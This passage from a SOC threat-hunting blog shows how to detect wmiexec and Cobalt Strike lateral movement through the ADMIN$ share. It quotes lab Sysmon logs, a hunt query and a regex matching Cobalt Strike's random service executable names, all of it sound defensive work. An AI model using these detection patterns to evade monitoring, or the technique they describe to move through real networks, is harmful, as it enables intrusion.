There’s some interesting stuff here. Based on the command line it looks like a PowerShell command encoded in base64 is being executed, where the output of the command is then written to a temp file in an admin share.

We can use the writing of a file to an admin share to better improve our search query.

FYI, the use of wmiexec to launch PowerShell to then download a malicious executable went undetected by our EDR.

Hunt Performance

Our original query from before returned over 70 hits over a 30 day period on an estate with over 20,000 devices. That’s not bad, but we can improve our hunt query using the new information we now have.

process.parent.name : "WmiPrvSE.exe" and process.pe.original_file_name: Cmd.Exe and process.command_line: \127.0.0.1\ADMIN$

Running the query above returned hits for only our attacker activity, nothing else. Making it a good hunt, we could probably turn this into a high confidence detection based on the 0% false-positive rate.

Lateral Movement with Cobalt Strike

Interestingly wmiexec isn’t the only attack tool that utilises the admin share. The “Jump” function that can be run from a Cobalt Strike beacon also writes a file into the admin share. If we look at the Lateral Movement (Spawn a Session) section of the Cobalt Strike Beacon Documentation we can see multiple functions that use the admin share.

Cobalt Strike Jump

If we look in our logs, we can see quite a few useful entries for the activity we can build hunts on.

Registry key added

We can see details of a registry key being added to the host as part of the creation of a new service.

Registry value set:
 RuleName: T1031,T1050
 EventType: SetValue
 UtcTime: 2021-06-27 21:38:44.784
 ProcessGuid: {75D30705-602A-60D7-E044-010000000000}
 ProcessId: 984
 Image: C:\Windows\system32\services.exe
 TargetObject: HKLM\System\CurrentControlSet\Services\0134ebf\ImagePath
 Details: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
winlog.event_data.Details: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 winlog.event_data.EventType: SetValue
 winlog.event_data.TargetObject: HKLM\System\CurrentControlSet\Services\0134ebf\ImagePath
New Service

There’s a separate event for the installation of a new service, again with our new executable included.

A service was installed in the system.
 Service Name:  0134ebf
 Service File Name:  \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 Service Type:  user mode service
 Service Start Type:  demand start
 Service Account:  LocalSystem
Process Creation

And finally we have the execution of the process.

Process Create:
 RuleName: -
 UtcTime: 2021-06-27 21:38:45.122
 ProcessGuid: {75D30705-EFE5-60D8-C3FA-260000000000}
 ProcessId: 1352
 Image: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 FileVersion: -
 Description: -
 Product: -
 Company: -
 OriginalFileName: -
 CommandLine: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 CurrentDirectory: C:\Windows\system32\
 User: NT AUTHORITY\SYSTEM
 LogonGuid: {75D30705-602B-60D7-E703-000000000000}
 LogonId: 0x3E7
 TerminalSessionId: 0
 IntegrityLevel: System
 Hashes: MD5=F43CA9DC11F486ED49BFF32C9A9AE78B,SHA256=A5EE87651D03534C449DA842C768903060C6CDF22A9896C6C66720CF313949C5,IMPHASH=BED5688A4A2B5EA6984115B458755E90
 ParentProcessGuid: {75D30705-602A-60D7-E044-010000000000}
 ParentProcessId: 984
 ParentImage: C:\Windows\System32\services.exe
 ParentCommandLine: C:\Windows\system32\services.exe

Hunting for this activity

There’s a few things we could hunt for to find this activity in the future.

  • Creation of a new service where the service file name includes the admin share.
  • Creation of a registry key by services.exe which calls a file in the admin share.
  • Process creation of a file located in the admin share with services.exe as the parent.
  • File written to disk in the admin share where file name matches the following regex “.admin\$\/[a-zA-Z0-9]{7}\.exe$”
    • When Cobalt Strike writes a file to the admin share, it generates a random file name consisting of 7 alphanumerical characters. This regex I’ve created here may need to be modified depending on the regex flavour you use.

What you need to hunt

To develop an effective basic threat hunting function in your SOC you do not need much.

  • Mitre Mapping: I would recommend mapping your hunts to Mitre, this will help you keep track of which coverage gaps you have hunted in and which need more focus.
  • Plan: Plan your hunts. This saves analysts from hunting for the same things and duplicating work.
  • Talented Analysts: Threat hunting is not easy, and it takes time and skill to perform research and develop hunts from research. Give your analysts the time, freedom and resources to perform research and hunts.
  • Logs: Make sure you have the basic logs coming into your SIEM or Search Platform. Proxy logs, endpoint logs (whether EDR or Sysmon), Authentication logs, etc…
  • Alerting: Believe it or not, I’m not against alerting and use cases, just low-quality ones. For hunts that produce a very low false-positive rate, hunt logic can be used to create a detection alert. Alerting obviously plays an important role in any SOC and needs to work alongside threat hunting.

Closing Thoughts

At the beginning of this post, I said that SOCs should spend 90% of their time threat hunting and 10% of time dealing with alerts and tickets. This is obviously not realistic. But what I think every SOC should do is put more resources into research-based threat hunting, and use that process to create high confidence detections. I generally do think at least 60% of analysts’ time should be spent researching and threat hunting on the estate. I believe that this can have a lot more value than spending the majority of the time responding to low-quality false positives.

A well-devleoped Threat Hunting function will aim to automate hunts and generate threat leads for analysts to pick up and investigate. In my mind, this could be used in the place of generic, low-quality detections.

More to come…

I’ll be releasing another post soon on how you can take threat hunting to the next level, and how you can incorporate the Sqrrl Framework into improving your threat hunt capability. As well as how you can automate threat hunts with a SOAR.

I’ll also be releasing some mini-posts on creating detections for common attack tools like Cobalt Strike and Impacket.

Copyright © 2025 On The Hunt

Theme by Anders NorenUp ↑